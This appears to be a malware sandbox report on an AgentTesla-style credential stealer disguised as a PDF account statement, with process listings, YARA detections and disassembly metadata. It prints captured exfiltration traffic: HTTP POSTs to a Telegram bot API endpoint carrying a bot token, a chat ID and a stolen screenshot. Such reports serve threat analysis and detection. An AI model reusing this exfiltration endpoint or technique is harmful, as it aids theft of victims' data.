2024-05-24 05:45:23 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:45:23 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49727	149.154.167.220	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:30 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dcdd588123294f Host: api.telegram.org Content-Length: 66765 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49728	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:30 UTC	262	OUT	POST /bot7043330881:AAFq19dRSS-89_wbwEvbuucof5Z3tCHG2NY/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc7b9c07669e21 Host: api.telegram.org Content-Length: 66765 Expect: 100-continue Connection: Keep-Alive
2024-05-24 05:45:31 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-24 05:45:31 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 62 39 63 30 37 36 36 39 65 32 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 36 35 35 33 30 32 38 32 37 34 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 62 39 63 30 37 36 36 39 65 32 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 32 34 2f 32 30 32 34 20 30 32 3a 34 38 3a 34 34 0a 55 73 65 72 Data Ascii: -----------------------------8dc7b9c07669e21Content-Disposition: form-data; name="chat_id"6553028274-----------------------------8dc7b9c07669e21Content-Disposition: form-data; name="caption"New SC Recovered!Time: 05/24/2024 02:48:44User
2024-05-24 05:45:31 UTC	16355	OUT	Data Raw: 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"
2024-05-24 05:45:31 UTC	16355	OUT	Data Raw: 3c 7b d7 28 27 99 61 68 44 ad e5 37 54 cf 07 f0 a8 ea e1 81 49 dd b1 d4 cc e5 25 68 c7 4b 05 14 51 5e 81 e4 85 14 51 40 09 5d 1f 85 27 86 18 ee bc d9 a3 8f 25 71 bd 80 cf 5f 5a e7 28 ac 6b d2 f6 b0 e5 bd 8e 9c 35 7f 61 53 9e d7 3d 0b ed f6 7f f3 f9 07 fd fd 5f f1 a4 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a f3 ea 2b 8b fb 3f fb df 87 fc 13 d1 fe d6 fe e7 e3 ff 00 00 f4 1f b7 d9 7f cf e5 bf fd fd 5f f1 ae 3f 5f 92 39 75 89 de 27 57 43 b7 0c a7 20 fc a3 bd 67 51 5b 50 c2 7b 29 f3 73 5c e7 c4 e3 fd bc 39 39 6d f3 ff 00 80 14 51 45 76 9e 70 51 45 14 01 a5 e1 cf f9 0e db 7f c0 bf f4 13 5d d5 79 9d 26 07 a5 70 62 30 92 ab 3e 64 cf 53 0b 8e 8d 0a 7c 8d 5c f4 da 2b cc b0 3d 28 c0 f4 ac 3f b3 e5 fc c7 4f f6 ac 3f 95 9d cf 89 3f e4 05 71 ff 00 00 ff 00 d0 85 70 d4 62 Data Ascii: <{('ahD7TI%hKQ^Q@]'%q_Z(k5aS=_}[+?_?_9u'WC gQ[P{)s\99mQEvpQE]y&pb0>dS\|\+=(?O??qpb
2024-05-24 05:45:31 UTC	16355	OUT	Data Raw: 31 a8 ff 00 c8 4a eb fe ba bf f3 35 c7 80 fe 23 f4 ff 00 23 5c d7 f8 2b d7 f4 65 7a 28 a2 bd 73 e7 42 8a 28 a0 0e d3 fe 59 e8 df ef 8f fd 12 f4 fb bd 62 ce d3 50 82 ca 57 c4 92 f7 ec be 99 fa d6 7e ad 7b fd 9d a3 e9 b7 61 37 98 ca e0 7b 98 98 0f e7 5c 25 c4 f2 dc ce f3 cc e5 e4 73 96 26 bc 9c 3e 1b db 2b bd 8f a8 c4 62 7d 8b b2 dc f5 92 46 40 cf 26 b3 1f fd 46 b5 fe f1 ff 00 d1 29 5c 7b 6b 17 33 5b da 5c 89 4f da ac 4e 0e 4f 0e 87 bf f4 3e b9 15 d3 58 de a6 a1 a4 ea b7 71 82 ab 21 63 83 d8 88 50 11 f9 8a ce a6 1e 54 a2 db fe b5 34 a7 88 8d 59 24 bf ad 0e 5a 8a 29 6b db 3e 50 4a 28 a2 80 29 ea 7f f1 ee bf ef 8f e4 6b 47 fe 11 eb 69 35 4d 32 28 a4 9b ec b7 70 79 cc cc c3 72 e0 12 79 c6 3d 2b 3b 53 ff 00 8f 75 ff 00 7c 7f 23 5b ba 7e a7 6a be 11 2f 24 f1 8b Data Ascii: 1J5##\+ez(sB(YbPW~{a7{\%s&>+b}F@&F)\{k3[\ONO>Xq!cPT4Y$Z)k>PJ()kGi5M2(pyry=+;Su\|#[~j/$
2024-05-24 05:45:31 UTC	15447	OUT	Data Raw: 5c b2 0a 28 a2 b6 39 c2 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 92 81 85 14 51 40 05 14 51 40 09 45 14 50 01 45 14 50 01 45 14 50 30 a4 a2 8a 00 28 a2 8a 60 14 51 45 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 81 85 14 51 40 09 45 14 50 01 45 14 50 30 a4 34 bd a9 28 00 a2 8a 28 01 28 a2 8a 06 14 94 b4 94 00 51 45 14 00 94 52 d2 50 30 a2 8a 28 00 a4 a2 8a 63 0a 28 a2 80 12 8a 33 49 9a 06 2d 25 25 14 05 83 3e d4 99 a2 8a 06 14 94 b4 94 00 52 52 d2 50 30 a2 8a 28 18 52 51 45 00 14 94 b4 94 0c 28 a2 8a 00 4a 28 a2 81 88 68 a2 8a 00 29 29 69 28 18 52 52 d2 50 01 49 4b 45 05 09 45 14 94 02 16 92 8a 28 01 0d 14 51 40 c2 92 96 92 81 85 25 14 50 02 51 4b 49 40 c2 92 96 92 81 85 25 14 50 01 49 4b 45 03 12 8a 28 a0 61 49 45 25 00 2d 25 14 50 30 Data Ascii: \(9((((Q@Q@EPEPEP0(`QEQE%Q@(Q@EPEP04(((QERP0(c(3I-%%>RRP0(RQE(J(h))i(RRPIKEE(Q@%PQKI@%PIKE(aIE%-%P0
2024-05-24 05:45:31 UTC	1179	OUT	Data Raw: 56 f6 95 ab 20 89 60 9d b6 32 f0 ad ea 2b 06 8a 99 45 49 59 91 38 29 ab 33 d3 34 dd 4e ee e5 b6 bd e6 d8 10 65 e4 3b 41 c7 a6 ee bf ad 65 78 ab c4 f0 49 6a f6 16 12 09 0c 83 12 48 bd 00 f4 1e b5 c4 51 5c 8f 06 a7 55 54 a8 ef 6d 91 b5 29 ba 54 dc 17 5e a1 45 14 57 71 01 5a fa 46 a8 b0 27 d9 e7 38 4f e1 6f 4f 6a 64 3e 1c d5 e7 85 26 8e d3 74 72 28 65 3e 62 0c 83 c8 ef 4f ff 00 84 5f 5a ff 00 9f 2f fc 8a 9f e3 4a 54 dc 95 9a 33 9f 24 95 9b 3a fd 33 54 bc 99 92 18 ae c7 97 fd fc 29 2a be cc 79 15 1f 88 bc 51 6d 69 68 f6 d6 53 09 ae 58 15 dc a7 21 3d f3 dc d7 29 ff 00 08 be b5 ff 00 3e 5f f9 15 3f c6 8f f8 45 f5 af f9 f2 ff 00 c8 a9 fe 35 c7 3c 03 ab 35 2a 8d b4 ba 1a d0 aa a8 c5 c5 3d 5f 53 1e 8a d2 1a 0e a8 c0 11 6b c1 e7 ef af f8 d6 7c b1 bc 52 bc 52 0c 3a Data Ascii: V `2+EIY8)34Ne;AexIjHQ\UTm)T^EWqZF'8OoOjd>&tr(e>bO_Z/JT3$:3T)yQmihSX!=)>_?E5<5=_Sk\|RR:
2024-05-24 05:45:31 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 62 39 63 30 37 36 36 39 65 32 31 2d 2d 0d 0a Data Ascii: -----------------------------8dc7b9c07669e21--
2024-05-24 05:45:31 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 24 May 2024 05:45:31 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Target ID:	0
Start time:	01:41:22
Start date:	24/05/2024
Path:	C:\Users\user\Desktop\hesaphareketi-01.pdf.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\hesaphareketi-01.pdf.exe"
Imagebase:	0x7ff7341d0000
File size:	2'066'432 bytes
MD5 hash:	8F184DAF4D3D0FAC93DB93C798E616ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000000.1208684446.00007FF73434D000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1218633530.000002368203A000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:41:22
Start date:	24/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:41:23
Start date:	24/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Imagebase:	0x450000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.3672129866.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.3677180762.000000000289A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.3%
Total number of Nodes:	961
Total number of Limit Nodes:	15

Executed Functions

Function 00007FF7341E24C0 Relevance: 10.6, APIs: 7, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7341DAE5A), ref: 00007FF7341E24CF
GetNumaHighestNodeNumber.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7341DAE5A), ref: 00007FF7341E250D
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7341DAE5A), ref: 00007FF7341E2539
GetProcessGroupAffinity.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7341DAE5A), ref: 00007FF7341E254A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7341DAE5A), ref: 00007FF7341E2559
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7341DAE5A), ref: 00007FF7341E25F0
GetProcessAffinityMask.KERNEL32 ref: 00007FF7341E2603

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: Process$AffinityCurrent$ErrorGroupHighestInfoLastMaskNodeNumaNumberSystem
String ID:
API String ID: 580471860-0
Opcode ID: 7ecf9e13a330afa06f8beef30d834f864ee4498cc9ed1855e1d3942379770bb5
Instruction ID: e74fc069819647aab8a0543d82e5867069567662c2925c9d2a9e32697ef8746e
Opcode Fuzzy Hash: 7ecf9e13a330afa06f8beef30d834f864ee4498cc9ed1855e1d3942379770bb5
Instruction Fuzzy Hash: E7517C76A08B46A7EE48EF16B5901B9E3A1AF49B80FC40135D94DD7364EE3CE444E724

Function 00007FF7341D55C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7341DAE30: FlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,00007FF7341D55CB), ref: 00007FF7341DAE3B
Part of subcall function 00007FF7341DAE30: QueryInformationJobObject.KERNEL32 ref: 00007FF7341DAF0E

Part of subcall function 00007FF7341DACD0: GetModuleHandleExW.KERNEL32(?,?,?,?,00007FF7341D3699), ref: 00007FF7341DACE1

RtlAddVectoredExceptionHandler.NTDLL ref: 00007FF7341D5638

Part of subcall function 00007FF7341DD5C0: _wcsicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7341DD6BD

Strings

TotalStressLogSize, xrefs: 00007FF7341D5659
StressLogLevel, xrefs: 00007FF7341D5692

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: AllocExceptionHandleHandlerInformationModuleObjectQueryVectored_wcsicmp
String ID: StressLogLevel$TotalStressLogSize
API String ID: 2876344857-4058818204
Opcode ID: 45dc59bb53227d1381efa592a7d616e654f0d65a7567b6ffba862109cea427b1
Instruction ID: ddb7887fad6571bbf4334c59342f9f1e72e89a434e2aac3e17a0ffde31bb7621
Opcode Fuzzy Hash: 45dc59bb53227d1381efa592a7d616e654f0d65a7567b6ffba862109cea427b1
Instruction Fuzzy Hash: 5041B6B3908E42A1EE48BF26B4C12B9E391EF82784FC40035E94D9769ADE3CE505D760

Function 00007FF7341E8F50 Relevance: 2.9, Strings: 2, Instructions: 421
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Creation of WaitForGCEvent failed, xrefs: 00007FF7341E95C1
TraceGC is not turned on, xrefs: 00007FF7341E8F5A

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: GlobalMemoryProcessQueryStatus$CurrentFrequencyInformationObjectPerformance
String ID: Creation of WaitForGCEvent failed$TraceGC is not turned on
API String ID: 133006248-518909315
Opcode ID: 542490f3281f9ec5935c23756829aefb1db30947c7d8b3d75492c27f59141b81
Instruction ID: 5ce50fb4fd6f6dcf7b0c600626df54ad6e42c0ee62e5d4e84612f2d74fb2546c
Opcode Fuzzy Hash: 542490f3281f9ec5935c23756829aefb1db30947c7d8b3d75492c27f59141b81
Instruction Fuzzy Hash: 5A027065E1DA07A2FE1CFF23B8D1274A291AF45790FC44139D84ED77A1DE3CA880A625

Function 00007FF7341FC160 Relevance: 1.9, Strings: 1, Instructions: 694COMMON

Download Yara Rule

Strings

EXv, xrefs: 00007FF7341FC3C9

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID: EXv
API String ID: 0-3696471021
Opcode ID: 2c7a140566dae9a4fba68076e8192626d085c825284fdfb18a21c1693e6838f9
Instruction ID: 7b04b9063a4d0bfba8079ee369c732afbf140fb96a693970389e1dee4e95fe12
Opcode Fuzzy Hash: 2c7a140566dae9a4fba68076e8192626d085c825284fdfb18a21c1693e6838f9
Instruction Fuzzy Hash: 3862A672A19A46A5EB5DAF27A5C0375F3D1BF45780F908239DA0DE3660EF3CA841B610

Function 00007FF734200560 Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID:
API String ID: 2050909247-0
Opcode ID: 604403f3aac9de18e02c808f39cfdf9296956c65b9ee2d11eb55e13a3e953c9f
Instruction ID: 453c21dc387c1d307230c54c061feb10a5d6febd6eabd09976c257bc9fe93d99
Opcode Fuzzy Hash: 604403f3aac9de18e02c808f39cfdf9296956c65b9ee2d11eb55e13a3e953c9f
Instruction Fuzzy Hash: 48029562E0D646A6FA2DAF27B8C4234E7D1BF46744F844639C54DF3260DF3DB840A622

Function 00007FF7341FEB10 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4758fcd36253205b66e6ee8f40eaefffe5d4d9abfaad721640ae2f4df7b9cc35
Instruction ID: 2ab781a13b8cda81212beb86189d4bcd75a276edaea15a2e48024818aa82e361
Opcode Fuzzy Hash: 4758fcd36253205b66e6ee8f40eaefffe5d4d9abfaad721640ae2f4df7b9cc35
Instruction Fuzzy Hash: 39F17022D1DB4766FA1EFF27A9C1274E2956F56340FC4533AD50DE32A2EF3C6491A220

Function 00007FF7341E2070 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7341E20DE
IsProcessInJob.KERNEL32 ref: 00007FF7341E20EE
QueryInformationJobObject.KERNEL32 ref: 00007FF7341E211E
GlobalMemoryStatusEx.KERNEL32 ref: 00007FF7341E2187
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF7341E21CE
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF7341E2245

Strings

@, xrefs: 00007FF7341E21C3
@, xrefs: 00007FF7341E216F
@, xrefs: 00007FF7341E223A

Memory Dump Source

Source File: 00000000.00000002.1223360670.00007FF7341D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7341D0000, based on PE: true

Associated: 00000000.00000002.1223342527.00007FF7341D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223452020.00007FF7342FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223494141.00007FF73434D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223544121.00007FF7343D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1223581157.00007FF7343D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7341d0000_hesaphareketi-01.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus$Process$CurrentInformationObjectQuery
String ID: @$@$@
API String ID: 2645093340-1177533131
Opcode ID: f97ad304849a1431e4f3e87175d7cbd2d95d287c41a756e0b52c30f8d3b71cfe
Instruction ID: f5c4f7a2ed0f84d468dcc2cd8ac1baab5263cc5497099b3327b7077d4e7f2f35
Opcode Fuzzy Hash: f97ad304849a1431e4f3e87175d7cbd2d95d287c41a756e0b52c30f8d3b71cfe
Instruction Fuzzy Hash: 63514036709AD196EB759F12F8903AAF3A0FB88B50F844135CA9D93B88CF3DD4459714

Function 00007FF7341DAE30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsAlloc.KERNEL32(?,?,?,?,?,?,?,?,00007FF7341D55CB), ref: 00007FF7341DAE3B

Part of subcall function 00007FF7341E24C0: GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7341DAE5A), ref: 00007FF7341E24CF
Part of subcall function 00007FF7341E24C0: GetNumaHighestNodeNumber.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7341DAE5A), ref: 00007FF7341E250D
Part of subcall function 00007FF7341E24C0: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7341DAE5A), ref: 00007FF7341E2539
Part of subcall function 00007FF7341E24C0: GetProcessGroupAffinity.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF7341DAE5A), ref: 00007FF7341E254A
Part of subcall function 00007FF7341E24C0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7341DAE5A), ref: 00007FF7341E2559

Part of subcall function 00007FF7341DD5C0: _wcsicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF7341DD6BD

